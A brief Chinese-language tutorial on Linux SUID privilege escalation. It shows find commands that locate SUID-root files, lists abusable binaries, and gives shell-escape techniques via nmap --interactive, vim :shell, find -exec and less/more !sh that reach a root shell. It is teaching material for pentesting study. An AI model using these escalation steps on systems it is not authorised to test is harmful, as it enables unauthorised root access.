0x01 SUID
SUID 是 Set User ID, SGID 是 Set Group ID的意思。 UNIX下可以用ls -l 命令来看到文件的权限。
0x02 SUID提权
SUID有个s标志位,即允许其他非root用户用root权限来执行该程序或文件,因此在提权的时候,我们可以查找系统中拥有suid+s标志位的文件来进行修改或者利用其程序来进行提权来达到root权限。
0x03 查找SUID+s的文件
寻找有suid+s权限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
0x04 常用的用于提权的程序
Nmap
Vim
find
Bash
More
Less
Nano
cp
0x05 利用
老版的nmap(2.02-5.21)有一个交互的功能--interactive
nmap> !sh
sh-3.2# whoami
root
msf中也有相关的模块
exploit/unix/local/setuid_nmap
vim可以用:!后面加命令来执行shell指令,也可以直接调用shell,并且拥有+s权限可以读取系统中任意文件
vim/vi
:shell
find 同理,将会以root来执行find命令
find test -exec whoami \;
less/more
sudo less filename
!sh